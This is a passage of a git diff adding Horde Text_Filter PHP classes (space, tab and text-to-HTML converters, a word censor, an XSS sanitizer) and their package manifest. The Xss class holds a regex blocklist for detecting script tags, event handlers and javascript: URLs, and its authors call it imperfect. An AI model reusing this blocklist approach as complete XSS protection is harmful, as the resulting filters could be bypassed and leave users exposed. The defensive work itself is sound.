+ * charset    -- Charset of the text.  Defaults to ISO-8859-1.
+ * encode_all -- Replace all spaces with &nbsp;?  Defaults to false.
+ * </pre>
+ *
+ * Copyright 2001-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author  Jan Schneider <jan@horde.org>
+ * @author  Mathieu Arnold <mat@mat.cc>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Space2html extends Horde_Text_Filter
+{
+    /**
+     * Filter parameters.
+     *
+     * @var array
+     */
+    protected $_params = array(
+        'charset' => 'ISO-8859-1',
+        'encode' => false,
+        'encode_all' => false
+    );
+
+    /**
+     * Executes any code necessary before applying the filter patterns.
+     *
+     * @param string $text  The text before the filtering.
+     *
+     * @return string  The modified text.
+     */
+    public function preProcess($text)
+    {
+        if ($this->_params['encode']) {
+            $text = @htmlspecialchars($text, ENT_COMPAT, $this->_params['charset']);
+        }
+        return $text;
+    }
+
+    /**
+     * Returns a hash with replace patterns.
+     *
+     * @return array  Patterns hash.
+     */
+    public function getPatterns()
+    {
+        return array(
+            'replace' => array(
+                "\t" => '&nbsp; &nbsp; &nbsp; &nbsp; ',
+                '  ' => '&nbsp; '
+            )
+        );
+    }
+
+    /**
+     * Executes any code necessaray after applying the filter patterns.
+     *
+     * @param string $text  The text after the filtering.
+     *
+     * @return string  The modified text.
+     */
+    public function postProcess($text)
+    {
+        $text = str_replace('  ', ' &nbsp;', $text);
+        if ($this->_params['encode_all']) {
+            $text = str_replace(' ', '&nbsp;', $text);
+        }
+        return $text;
+    }
+
+}
diff --git a/framework/Text_Filter/lib/Horde/Text/Filter/Tabs2spaces.php b/framework/Text_Filter/lib/Horde/Text/Filter/Tabs2spaces.php
new file mode 100644 (file)
index 0000000..d1bee2f
--- /dev/null
@@ -0,0 +1,46 @@
+<?php
+/**
+ * The Horde_Text_Filter_Tabs2spaces:: converts tabs into spaces.
+ *
+ * TODO: parameters (breakchar, tabstop)
+ *
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author  Chuck Hagenbuch <chuck@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Tabs2spaces extends Horde_Text_Filter
+{
+    /**
+     * Filter parameters.
+     *
+     * @var array
+     */
+    protected $_params = array(
+        'breakchar' => "\n",
+        'tabstop' => 8
+    );
+
+    /**
+     * Executes any code necessary before applying the filter patterns.
+     *
+     * @param string $text  The text before the filtering.
+     *
+     * @return string  The modified text.
+     */
+    public function preProcess($text)
+    {
+        $lines = explode($this->_params['breakchar'], $text);
+        for ($i = 0, $l = count($lines); $i < $l; ++$i) {
+            while (($pos = strpos($lines[$i], "\t")) !== false) {
+                $new_str = str_repeat(' ', $this->_params['tabstop'] - ($pos % $this->_params['tabstop']));
+                $lines[$i] = substr_replace($lines[$i], $new_str, $pos, 1);
+            }
+        }
+        return implode("\n", $lines);
+    }
+
+}
diff --git a/framework/Text_Filter/lib/Horde/Text/Filter/Text2html.php b/framework/Text_Filter/lib/Horde/Text/Filter/Text2html.php
new file mode 100644 (file)
index 0000000..c77eec7
--- /dev/null
@@ -0,0 +1,137 @@
+<?php
+/**
+ * Turn text into HTML with varying levels of parsing.  For no html
+ * whatsoever, use htmlspecialchars() instead.
+ *
+ * Parameters:
+ * <pre>
+ * parselevel -- The parselevel of the output. See the list of constants below.
+ * charset    -- The charset to use for htmlspecialchars() calls.
+ * class      -- The CSS class name for the links.
+ * nofollow   -- Whether to set the 'rel="nofollow"' attribute on links.
+ * callback   -- An optional callback function that the URL is passed through
+ *               before being set as the href attribute.  Must be a string with
+ *               the function name, the function must take the original as the
+ *               first and only parameter.
+ * </pre>
+ *
+ * <pre>
+ * List of valid constants for the parse level:
+ * --------------------------------------------
+ * PASSTHRU        =  No action. Pass-through. Included for completeness.
+ * SYNTAX          =  Allow full html, also do line-breaks, in-lining,
+ *                    syntax-parsing.
+ * MICRO           =  Micro html (only line-breaks, in-line linking).
+ * MICRO_LINKURL   =  Micro html (only line-breaks, in-line linking of URLS;
+ *                    no email addresses are linked).
+ * NOHTML          =  No html (all stripped, only line-breaks)
+ * NOHTML_NOBREAK  =  No html whatsoever, no line breaks added.
+ *                    Included for completeness.
+ * </pre>
+ *
+ * Copyright 2002-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author  Chuck Hagenbuch <chuck@horde.org>
+ * @author  Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Text2html extends Horde_Text_Filter
+{
+    /* TODO */
+    const PASSTHRU = 0;
+    const SYNTAX = 1;
+    const MICRO = 2;
+    const MICRO_LINKURL = 3;
+    const NOHTML = 4;
+    const NOHTML_NOBREAK = 5;
+
+    /**
+     * Filter parameters.
+     *
+     * @var array
+     */
+    protected $_params = array(
+        'callback' => 'Horde::externalUrl',
+        'charset' => null,
+        'class' => 'fixed',
+        'nofollow' => false
+    );
+
+    /**
+     * Constructor.
+     *
+     * @param array $params  Any parameters that the filter instance needs.
+     */
+    public function __construct($params = array())
+    {
+        parent::__construct($params);
+
+        // Use ISO-8859-1 instead of US-ASCII
+        if (Horde_String::lower($this->_params['charset']) == 'us-ascii') {
+            $this->_params['charset'] = 'iso-8859-1';
+        }
+    }
+
+    /**
+     * Executes any code necessary before applying the filter patterns.
+     *
+     * @param string $text  The text before the filtering.
+     *
+     * @return string  The modified text.
+     */
+    public function preProcess($text)
+    {
+        if (is_null($this->_params['charset'])) {
+            $this->_params['charset'] = isset($GLOBALS['_HORDE_STRING_CHARSET'])
+                ? $GLOBALS['_HORDE_STRING_CHARSET']
+                : 'ISO-8859-1';
+        }
+
+        /* Abort out on simple cases. */
+        if ($this->_params['parselevel'] == self::PASSTHRU) {
+            return $text;
+        }
+
+        if ($this->_params['parselevel'] == self::NOHTML_NOBREAK) {
+            return @htmlspecialchars($text, ENT_COMPAT, $this->_params['charset']);
+        }
+
+        if ($this->_params['parselevel'] < self::NOHTML) {
+            $filters = array('linkurls' => array('callback' => $this->_params['callback'], 'nofollow' => $this->_params['nofollow'], 'encode' => true));
+            if ($this->_params['parselevel'] < self::MICRO_LINKURL) {
+                $filters['emails'] = array('encode' => true);
+            }
+            $text = parent::filter($text, array_keys($filters), array_values($filters));
+        }
+
+        /* For level MICRO or NOHTML, start with htmlspecialchars(). */
+        $old_error = error_reporting(0);
+        $text2 = htmlspecialchars($text, ENT_COMPAT, $this->_params['charset']);
+
+        /* Bad charset input in may result in an empty string. If so, try
+         * using the default charset encoding instead. */
+        if (!$text2) {
+            $text2 = htmlspecialchars($text, ENT_COMPAT);
+        }
+        $text = $text2;
+        error_reporting($old_error);
+
+        /* Do in-lining of http://xxx.xxx to link, xxx@xxx.xxx to email. */
+        if ($this->_params['parselevel'] < self::NOHTML) {
+            $text = Horde_Text_Filter_Linkurls::decode($text);
+            if ($this->_params['parselevel'] < self::MICRO_LINKURL) {
+                $text = Horde_Text_Filter_Emails::decode($text);
+            }
+
+            $text = parent::filter($text, 'space2html');
+        }
+
+        /* Do the newline ---> <br /> substitution. Everybody gets this; if
+         * you don't want even that, just use htmlspecialchars(). */
+        return nl2br($text);
+    }
+
+}
diff --git a/framework/Text_Filter/lib/Horde/Text/Filter/Words.php b/framework/Text_Filter/lib/Horde/Text/Filter/Words.php
new file mode 100644 (file)
index 0000000..0a11b19
--- /dev/null
@@ -0,0 +1,69 @@
+<?php
+/**
+ * Filters the given text based on the words found in a word list
+ * file.
+ *
+ * Parameters:
+ * <pre>
+ * words_file  -- Filename containing the words to replace.
+ * replacement -- The replacement string.  Defaults to "*****".
+ * </pre>
+ *
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author  Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Words extends Horde_Text_Filter
+{
+    /**
+     * Filter parameters.
+     *
+     * @var array
+     */
+    protected $_params = array(
+        'replacement' => '*****'
+    );
+
+    /**
+     * Returns a hash with replace patterns.
+     *
+     * @return array  Patterns hash.
+     */
+    public function getPatterns()
+    {
+        $regexp = array();
+
+        if (is_readable($this->_params['words_file'])) {
+            /* Read the file and iterate through the lines. */
+            $lines = file($this->_params['words_file']);
+            foreach ($lines as $line) {
+                /* Strip whitespace and comments. */
+                $line = preg_replace('|#.*$|', '', trim($line));
+
+                /* Filter the text. */
+                if (!empty($line)) {
+                    $regexp["/(\b(\w*)$line\b|\b$line(\w*)\b)/i"] = $this->_getReplacement($line);
+                }
+            }
+        }
+
+        return array('regexp' => $regexp);
+    }
+
+    /**
+     * Returns a hash with replace patterns.
+     *
+     * @return array  Patterns hash.
+     */
+    protected function _getReplacement($line)
+    {
+        return $this->_params['replacement']
+            ? $this->_params['replacement']
+            :substr($line, 0, 1) . str_repeat('*', strlen($line) - 1);
+    }
+
+}
diff --git a/framework/Text_Filter/lib/Horde/Text/Filter/Xss.php b/framework/Text_Filter/lib/Horde/Text/Filter/Xss.php
new file mode 100644 (file)
index 0000000..5c390db
--- /dev/null
@@ -0,0 +1,240 @@
+<?php
+/**
+ * This filter attempts to make HTML safe for viewing. IT IS NOT PERFECT. If
+ * you enable HTML viewing, you are opening a security hole. With the current
+ * state of the web, I believe that the best we can do is to make sure that
+ * people *KNOW* HTML is a security hole, clean up what we can, and leave it
+ * at that.
+ *
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author  Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Xss extends Horde_Text_Filter
+{
+    /**
+     * Filter parameters.
+     *
+     * @var array
+     */
+    protected $_params = array(
+        'body_only' => true,
+        'replace' => 'XSSCleaned',
+        'strip_styles' => true,
+        'strip_style_attributes' => true
+    );
+
+    /**
+     * Returns a hash with replace patterns.
+     *
+     * @return array  Patterns hash.
+     */
+    public function getPatterns()
+    {
+        $patterns = array();
+
+        /* Remove all control characters. */
+        $patterns['/[\x00-\x08\x0e-\x1f]/'] = '';
+
+        /* Removes HTML comments (including some scripts & styles). */
+        if ($this->_params['strip_styles']) {
+            $patterns['/<!--.*?-->/s'] = '';
+        }
+
+        /* Change space entities to space characters. */
+        $patterns['/&#(?:x0*20|0*32);?/i'] = ' ';
+
+        /* If we have a semicolon, it is deterministically detectable and
+         * fixable, without introducing collateral damage. */
+        $patterns['/&#x?0*(?:[9A-D]|1[0-3]);/i'] = '&nbsp;';
+
+        /* Hex numbers (usually having an x prefix) are also deterministic,
+         * even if we don't have the semi. Note that some browsers will treat
+         * &#a or &#0a as a hex number even without the x prefix; hence /x?/
+         * which will cover those cases in this rule. */
+        $patterns['/&#x?0*[9A-D]([^0-9A-F]|$)/i'] = '&nbsp\\1';
+
+        /* Decimal numbers without trailing semicolons. The problem is that
+         * some browsers will interpret &#10a as "\na", some as "&#x10a" so we
+         * have to clean the &#10 to be safe for the "\na" case at the expense
+         * of mangling a valid entity in other cases. (Solution for valid HTML
+         * authors: always use the semicolon.) */
+        $patterns['/&#0*(?:9|1[0-3])([^0-9]|$)/i'] = '&nbsp\\1';
+
+        /* Remove overly long numeric entities. */
+        $patterns['/&#x?0*[0-9A-F]{6,};?/i'] = '&nbsp;';
+
+        /* Remove everything outside of and including the <html> and <body>
+         * tags. */
+        if ($this->_params['body_only']) {
+            $patterns['/^.*<(?:body|html)[^>]*>/si'] = '';
+            $patterns['/<\/(?:body|html)>.*$/si'] = '';
+        }
+
+        /* Get all attribute="javascript:foo()" tags. This is essentially the
+         * regex /(=|url\()("?)[^>]*script:/ but expanded to catch camouflage
+         * with spaces and entities. */
+        $preg = '/((=|&#0*61;?|&#x0*3D;?)|' .
+                '((u|&#0*85;?|&#x0*55;?|&#0*117;?|&#x0*75;?|\\\\0*75)\s*' .
+                '(r|&#0*82;?|&#x0*52;?|&#0*114;?|&#x0*72;?|\\\\0*72)\s*' .
+                '(l|&#0*76;?|&#x0*4c;?|&#0*108;?|&#x0*6c;?|\\\\0*6c)\s*' .
+                '(\(|\\\\0*28)))\s*' .
+                '(\'|&#0*34;?|&#x0*22;?|"|&#0*39;?|&#x0*27;?)?' .
+                '[^>]*\s*' .
+                '(s|&#0*83;?|&#x0*53;?|&#0*115;?|&#x0*73;?|\\\\0*73)\s*' .
+                '(c|&#0*67;?|&#x0*43;?|&#0*99;?|&#x0*63;?|\\\\0*63)\s*' .
+                '(r|&#0*82;?|&#x0*52;?|&#0*114;?|&#x0*72;?|\\\\0*72)\s*' .
+                '(i|&#0*73;?|&#x0*49;?|&#0*105;?|&#x0*69;?|\\\\0*69)\s*' .
+                '(p|&#0*80;?|&#x0*50;?|&#0*112;?|&#x0*70;?|\\\\0*70)\s*' .
+                '(t|&#0*84;?|&#x0*54;?|&#0*116;?|&#x0*74;?|\\\\0*74)\s*' .
+                '(:|&#0*58;?|&#x0*3a;?|\\\\0*3a)/i';
+        $patterns[$preg] = '\1\8' . $this->_params['replace'];
+
+        /* Get all on<foo>="bar()". NEVER allow these. */
+        $patterns['/([\s"\'\/]+' .
+                  '(o|&#0*79;?|&#0*4f;?|&#0*111;?|&#0*6f;?)' .
+                  '(n|&#0*78;?|&#0*4e;?|&#0*110;?|&#0*6e;?)' .
+                  '\w+)[^=a-z0-9"\'>]*=/i'] = '\1' . $this->_params['replace'] . '=';
+
+        /* Remove all scripts since they might introduce garbage if they are
+         * not quoted properly. */
+        $patterns['|<script[^>]*>.*?</script>|is'] = '<' . $this->_params['replace'] . '_script />';
+
+        /* Get all tags that might cause trouble - <object>, <embed>,
+         * <applet>, etc. Meta refreshes and iframes, too. */
+        $malicious = array(
+            '/<([^>a-z]*)' .
+            '(?:s|&#0*83;?|&#x0*53;?|&#0*115;?|&#x0*73;?)\s*' .
+            '(?:c|&#0*67;?|&#x0*43;?|&#0*99;?|&#x0*63;?)\s*' .
+            '(?:r|&#0*82;?|&#x0*52;?|&#0*114;?|&#x0*72;?)\s*' .
+            '(?:i|&#0*73;?|&#x0*49;?|&#0*105;?|&#x0*69;?)\s*' .
+            '(?:p|&#0*80;?|&#x0*50;?|&#0*112;?|&#x0*70;?)\s*' .
+            '(?:t|&#0*84;?|&#x0*54;?|&#0*116;?|&#x0*74;?)(\s*)/i',
+
+            '/<([^>a-z]*)' .
+            '(?:e|&#0*69;?|&#0*45;?|&#0*101;?|&#0*65;?)\s*' .
+            '(?:m|&#0*77;?|&#0*4d;?|&#0*109;?|&#0*6d;?)\s*' .
+            '(?:b|&#0*66;?|&#0*42;?|&#0*98;?|&#0*62;?)\s*' .
+            '(?:e|&#0*69;?|&#0*45;?|&#0*101;?|&#0*65;?)\s*' .
+            '(?:d|&#0*68;?|&#0*44;?|&#0*100;?|&#0*64;?)(\s*)/i',
+
+            '/<([^>a-z]*)' .
+            '(?:x|&#0*88;?|&#0*58;?|&#0*120;?|&#0*78;?)\s*' .
+            '(?:m|&#0*77;?|&#0*4d;?|&#0*109;?|&#0*6d;?)\s*' .
+            '(?:l|&#0*76;?|&#x0*4c;?|&#0*108;?|&#x0*6c;?)(\s*)/i',
+
+            '/<([^>a-z]*)\?([^>a-z]*)' .
+            '(?:i|&#0*73;?|&#x0*49;?|&#0*105;?|&#x0*69;?)\s*' .
+            '(?:m|&#0*77;?|&#0*4d;?|&#0*109;?|&#0*6d;?)\s*' .
+            '(?:p|&#0*80;?|&#x0*50;?|&#0*112;?|&#x0*70;?)\s*' .
+            '(?:o|&#0*79;?|&#0*4f;?|&#0*111;?|&#0*6f;?)\s*' .
+            '(?:r|&#0*82;?|&#x0*52;?|&#0*114;?|&#x0*72;?)\s*' .
+            '(?:t|&#0*84;?|&#x0*54;?|&#0*116;?|&#x0*74;?)(\s*)/i',
+
+            '/<([^>a-z]*)' .
+            '(?:m|&#0*77;?|&#0*4d;?|&#0*109;?|&#0*6d;?)\s*' .
+            '(?:e|&#0*69;?|&#0*45;?|&#0*101;?|&#0*65;?)\s*' .
+            '(?:t|&#0*84;?|&#x0*54;?|&#0*116;?|&#x0*74;?)\s*' .
+            '(?:a|&#0*65;?|&#0*41;?|&#0*97;?|&#0*61;?)(\s*)/i',
+
+            '/<([^>a-z]*)' .
+            '(?:j|&#0*74;?|&#0*4a;?|&#0*106;?|&#0*6a;?)\s*' .
+            '(?:a|&#0*65;?|&#0*41;?|&#0*97;?|&#0*61;?)\s*' .
+            '(?:v|&#0*86;?|&#0*56;?|&#0*118;?|&#0*76;?)\s*' .
+            '(?:a|&#0*65;?|&#0*41;?|&#0*97;?|&#0*61;?)(\s*)/i',
+
+            '/<([^>a-z]*)' .
+            '(?:o|&#0*79;?|&#0*4f;?|&#0*111;?|&#0*6f;?)\s*' .
+            '(?:b|&#0*66;?|&#0*42;?|&#0*98;?|&#0*62;?)\s*' .
+            '(?:j|&#0*74;?|&#0*4a;?|&#0*106;?|&#0*6a;?)\s*' .
+            '(?:e|&#0*69;?|&#0*45;?|&#0*101;?|&#0*65;?)\s*' .
+            '(?:c|&#0*67;?|&#x0*43;?|&#0*99;?|&#x0*63;?)\s*' .
+            '(?:t|&#0*84;?|&#x0*54;?|&#0*116;?|&#x0*74;?)(\s*)/i',
+
+            '/<([^>a-z]*)' .
+            '(?:a|&#0*65;?|&#0*41;?|&#0*97;?|&#0*61;?)\s*' .
+            '(?:p|&#0*80;?|&#x0*50;?|&#0*112;?|&#x0*70;?)\s*' .
+            '(?:p|&#0*80;?|&#x0*50;?|&#0*112;?|&#x0*70;?)\s*' .
+            '(?:l|&#0*76;?|&#x0*4c;?|&#0*108;?|&#x0*6c;?)\s*' .
+            '(?:e|&#0*69;?|&#0*45;?|&#0*101;?|&#0*65;?)\s*' .
+            '(?:t|&#0*84;?|&#x0*54;?|&#0*116;?|&#x0*74;?)(\s*)/i',
+
+            '/<([^>a-z]*)' .
+            '(?:l|&#0*76;?|&#x0*4c;?|&#0*108;?|&#x0*6c;?)\s*' .
+            '(?:a|&#0*65;?|&#0*41;?|&#0*97;?|&#0*61;?)\s*' .
+            '(?:y|&#0*89;?|&#0*59;?|&#0*121;?|&#0*79;?)\s*' .
+            '(?:e|&#0*69;?|&#0*45;?|&#0*101;?|&#0*65;?)\s*' .
+            '(?:r|&#0*82;?|&#x0*52;?|&#0*114;?|&#x0*72;?)(\s*)/i',
+
+            '/<([^>a-z]*)' .
+            '(?:i|&#0*73;?|&#x0*49;?|&#0*105;?|&#x0*69;?)?\s*' .
+            '(?:f|&#0*70;?|&#0*46;?|&#0*102;?|&#0*66;?)\s*' .
+            '(?:r|&#0*82;?|&#x0*52;?|&#0*114;?|&#x0*72;?)\s*' .
+            '(?:a|&#0*65;?|&#0*41;?|&#0*97;?|&#0*61;?)\s*' .
+            '(?:m|&#0*77;?|&#0*4d;?|&#0*109;?|&#0*6d;?)\s*' .
+            '(?:e|&#0*69;?|&#0*45;?|&#0*101;?|&#0*65;?)(\s*)/i');
+
+        foreach ($malicious as $pattern) {
+            $patterns[$pattern] = '<$1' . $this->_params['replace'] . '_tag$2';
+        }
+
+        /* Comment out style/link tags. */
+        if ($this->_params['strip_styles']) {
+            if ($this->_params['strip_style_attributes']) {
+                $patterns['/(\s+|([\'"]))style\s*=/i'] = '$2 ' . $this->_params['replace'] . '=';
+            }
+            $patterns['|<style[^>]*>(?:\s*<\!--)*|i'] = '<!--';
+            $patterns['|(?:-->\s*)*</style>|i'] = '-->';
+            $patterns['|(<link[^>]*>)|i'] = '<!-- $1 -->';
+
+            /* We primarily strip out <base> tags due to styling concerns.
+             * There is a security issue with HREF tags, but the 'javascript'
+             * search/replace code sufficiently filters these strings. */
+            $patterns['|(<base[^>]*>)|i'] = '<!-- $1 -->';
+        }
+
+        /* A few other matches. */
+        $patterns['|<([^>]*)&{.*}([^>]*)>|'] = '<\1&{;}\2>';
+        $patterns['|<([^>]*)mocha:([^>]*)>|i'] = '<\1' . $this->_params['replace'] . ':\2>';
+        $patterns['/<(([^>]*)|(style[^>]*>[^<]*))binding:((?(3)[^<]*<\/style)[^>]*)>/i'] = '<\1' . $this->_params['replace'] . ':\4>';
+
+        return array('regexp' => $patterns);
+    }
+
+    /**
+     * Executes any code necessary before applying the filter patterns.
+     *
+     * @param string $text  The text before the filtering.
+     *
+     * @return string  The modified text.
+     */
+    public function preProcess($text)
+    {
+        // As of PHP 5.2, backtrack limits have been set to an unreasonably
+        // low number. The body check will often times trigger backtrack
+        // errors so up the backtrack limit if we are doing this match.
+        if ($this->_params['body_only'] && ini_get('pcre.backtrack_limit')) {
+            ini_set('pcre.backtrack_limit', 5000000);
+        }
+
+        return $text;
+    }
+
+    /**
+     * Executes any code necessary after applying the filter patterns.
+     *
+     * @param string $text  The text after the filtering.
+     *
+     * @return string  The modified text.
+     */
+    public function postProcess($text)
+    {
+        ini_restore('pcre.backtrack_limit');
+        return $text;
+    }
+
+}
diff --git a/framework/Text_Filter/package.xml b/framework/Text_Filter/package.xml
new file mode 100644 (file)
index 0000000..bee5156
--- /dev/null
@@ -0,0 +1,254 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<package packagerversion="1.4.9" version="2.0" xmlns="http://pear.php.net/dtd/package-2.0" xmlns:tasks="http://pear.php.net/dtd/tasks-1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://pear.php.net/dtd/tasks-1.0
+http://pear.php.net/dtd/tasks-1.0.xsd
+http://pear.php.net/dtd/package-2.0
+http://pear.php.net/dtd/package-2.0.xsd">
+ <name>Text_Filter</name>
+ <channel>pear.horde.org</channel>
+ <summary>Horde Text Filter API</summary>
+ <description>The Horde_Text_Filter:: class provides common methods for
+ fitering and converting text.
+ </description>
+ <lead>
+  <name>Chuck Hagenbuch</name>
+  <user>chuck</user>
+  <email>chuck@horde.org</email>
+  <active>yes</active>
+ </lead>
+ <lead>
+  <name>Jan Schneider</name>
+  <user>jan</user>
+  <email>jan@horde.org</email>
+  <active>yes</active>
+ </lead>
+ <developer>
+  <name>Michael Slusarz</name>
+  <user>slusarz</user>
+  <email>slusarz@horde.org</email>
+  <active>yes</active>
+ </developer>
+ <date>2009-06-10</date>
+ <version>
+  <release>0.1.0</release>
+  <api>0.1.0</api>
+ </version>
+ <stability>
+  <release>beta</release>
+  <api>beta</api>
+ </stability>
+ <license uri="http://www.gnu.org/copyleft/lesser.html">LGPL</license>
+ <notes>* Initial Horde 4 package.
+ </notes>
+ <contents>
+  <dir name="/">
+   <dir name="lib">
+    <dir name="Horde">
+     <dir name="Text">
+      <dir name="Filter">
+       <file name="Bbcode.php" role="php" />
+       <file name="Cleanascii.php" role="php" />
+       <file name="Dimsignature.php" role="php" />
+       <file name="Emails.php" role="php" />
+       <file name="Emoticons.php" role="php" />
+       <file name="Environment.php" role="php" />
+       <file name="Highlightquotes.php" role="php" />
+       <file name="Html2text.php" role="php" />
+       <file name="Linkurls.php" role="php" />
+       <file name="Simplemarkup.php" role="php" />
+       <file name="Space2html.php" role="php" />
+       <file name="Tabs2spaces.php" role="php" />
+       <file name="Text2html.php" role="php" />
+       <file name="Words.php" role="php" />
+       <file name="Xss.php" role="php" />
+      </dir> <!-- /lib/Horde/Text/Filter -->
+      <file name="Filter.php" role="php" />
+     </dir> <!-- /lib/Horde/Text -->
+    </dir> <!-- /lib/Horde -->
+   </dir> <!-- /lib -->
+   <dir name="test">
+    <dir name="Horde">
+     <dir name="Text">
+      <dir name="Filter">
+       <dir name="fixtures">
+        <file name="html2text.html" role="test" />
+        <file name="style_xss01.html" role="test" />
+        <file name="text2html.txt" role="test" />
+        <file name="xss01.html" role="test" />
+        <file name="xss02.html" role="test" />
+        <file name="xss03.html" role="test" />
+        <file name="xss04.html" role="test" />
+        <file name="xss05.html" role="test" />
+        <file name="xss06.html" role="test" />
+        <file name="xss07.html" role="test" />
+        <file name="xss08.html" role="test" />
+        <file name="xss09.html" role="test" />
+        <file name="xss10.html" role="test" />
+        <file name="xss11.html" role="test" />
+        <file name="xss12.html" role="test" />
+        <file name="xss13.html" role="test" />
+        <file name="xss14.html" role="test" />
+        <file name="xss15.html" role="test" />
+        <file name="xss16.html" role="test" />
+        <file name="xss17.html" role="test" />
+        <file name="xss18.html" role="test" />
+        <file name="xss19.html" role="test" />
+        <file name="xss20.html" role="test" />
+        <file name="xss21.html" role="test" />
+        <file name="xss22.html" role="test" />
+        <file name="xss23.html" role="test" />
+        <file name="xss24.html" role="test" />
+        <file name="xss25.html" role="test" />
+        <file name="xss26.html" role="test" />
+        <file name="xss27.html" role="test" />
+        <file name="xss28.html" role="test" />
+        <file name="xss29.html" role="test" />
+        <file name="xss30.html" role="test" />
+        <file name="xss31.html" role="test" />
+        <file name="xss32.html" role="test" />
+        <file name="xss33.html" role="test" />
+        <file name="xss34.html" role="test" />
+        <file name="xss35.html" role="test" />
+        <file name="xss36.html" role="test" />
+        <file name="xss37.html" role="test" />
+        <file name="xss38.html" role="test" />
+        <file name="xss39.html" role="test" />
+        <file name="xss40.html" role="test" />
+        <file name="xss41.html" role="test" />
+        <file name="xss42.html" role="test" />
+        <file name="xss43.html" role="test" />
+        <file name="xss44.html" role="test" />
+        <file name="xss45.html" role="test" />
+        <file name="xss46.html" role="test" />
+        <file name="xss47.html" role="test" />
+        <file name="xss48.html" role="test" />
+        <file name="xss49.html" role="test" />
+        <file name="xss50.html" role="test" />
+        <file name="xss51.html" role="test" />
+        <file name="xss52.html" role="test" />
+        <file name="xss53.html" role="test" />
+        <file name="xss54.html" role="test" />
+        <file name="xss55.html" role="test" />
+        <file name="xss56.html" role="test" />
+        <file name="xss57.html" role="test" />
+        <file name="xss58.html" role="test" />
+        <file name="xss59.html" role="test" />
+        <file name="xss60.html" role="test" />
+        <file name="xss61.html" role="test" />
+        <file name="xss62.html" role="test" />
+        <file name="xss63.html" role="test" />
+        <file name="xss64.html" role="test" />
+        <file name="xss65.html" role="test" />
+        <file name="xss66.html" role="test" />
+        <file name="xss67.html" role="test" />
+        <file name="xss68.html" role="test" />
+        <file name="xss69.html" role="test" />
+        <file name="xss70.html" role="test" />
+        <file name="xss71.html" role="test" />
+        <file name="xss72.html" role="test" />
+        <file name="xss73.html" role="test" />
+        <file name="xss74.html" role="test" />
+        <file name="xss75.html" role="test" />
+        <file name="xss76.html" role="test" />
+        <file name="xss77.html" role="test" />
+        <file name="xss78.html" role="test" />
+        <file name="xss79.html" role="test" />
+        <file name="xss80.html" role="test" />
+        <file name="xss81.html" role="test" />
+        <file name="xss82.html" role="test" />
+        <file name="xss83.html" role="test" />
+        <file name="xss84.html" role="test" />
+        <file name="xss85.html" role="test" />
+        <file name="xss97.html" role="test" />
+        <file name="xss98.html" role="test" />
+        <file name="xss99.html" role="test" />
+        <file name="xss100.html" role="test" />
+       </dir> <!-- /test/Horde/Text/Filter/fixtures -->
+       <file name="emails.phpt" role="test" />
+       <file name="environment.phpt" role="test" />
+       <file name="html2text.phpt" role="test" />
+       <file name="html2text2.phpt" role="test" />
+       <file name="space2html.phpt" role="test" />
+       <file name="text2html.phpt" role="test" />
+       <file name="xss.phpt" role="test" />
+      </dir> <!-- /test/Horde/Text/Filter -->
+     </dir> <!-- /test/Horde/Text -->
+    </dir> <!-- /test/Horde -->
+   </dir> <!-- /test -->
+  </dir> <!-- / -->
+ </contents>
+ <dependencies>
+  <required>
+   <php>
+    <min>5.2.0</min>
+   </php>
+   <pearinstaller>
+    <min>1.5.4</min>
+   </pearinstaller>
+   <package>
+    <name>Util</name>
+    <channel>pear.horde.org</channel>
+   </package>
+  </required>
+  <optional>
+   <extension>
+    <name>gettext</name>
+   </extension>
+  </optional>
+ </dependencies>
+ <phprelease>
+  <filelist>
+   <install name="lib/Horde/Text/Filter/Bbcode.php" as="Horde/Text/Filter/Bbcode.php" />
+   <install name="lib/Horde/Text/Filter/Cleanascii.php" as="Horde/Text/Filter/Cleanascii.php" />
+   <install name="lib/Horde/Text/Filter/Dimsignature.php" as="Horde/Text/Filter/Dimsignature.php" />
+   <install name="lib/Horde/Text/Filter/Emails.php" as="Horde/Text/Filter/Emails.php" />
+   <install name="lib/Horde/Text/Filter/Emoticons.php" as="Horde/Text/Filter/Emoticons.php" />
+   <install name="lib/Horde/Text/Filter/Environment.php" as="Horde/Text/Filter/Environment.php" />
+   <install name="lib/Horde/Text/Filter/Highlightquotes.php" as="Horde/Text/Filter/Highlightquotes.php" />
+   <install name="lib/Horde/Text/Filter/Html2text.php" as="Horde/Text/Filter/Html2text.php" />
+   <install name="lib/Horde/Text/Filter/Linkurls.php" as="Horde/Text/Filter/Linkurls.php" />
+   <install name="lib/Horde/Text/Filter/Simplemarkup.php" as="Horde/Text/Filter/Simplemarkup.php" />
+   <install name="lib/Horde/Text/Filter/Space2html.php" as="Horde/Text/Filter/Space2html.php" />
+   <install name="lib/Horde/Text/Filter/Tabs2spaces.php" as="Horde/Text/Filter/Tabs2spaces.php" />
+   <install name="lib/Horde/Text/Filter/Text2html.php" as="Horde/Text/Filter/Text2html.php" />
+   <install name="lib/Horde/Text/Filter/Words.php" as="Horde/Text/Filter/Words.php" />
+   <install name="lib/Horde/Text/Filter/Xss.php" as="Horde/Text/Filter/Xss.php" />
+   <install name="lib/Horde/Text/Filter.php" as="Horde/Text/Filter.php" />
+  </filelist>
+ </phprelease>
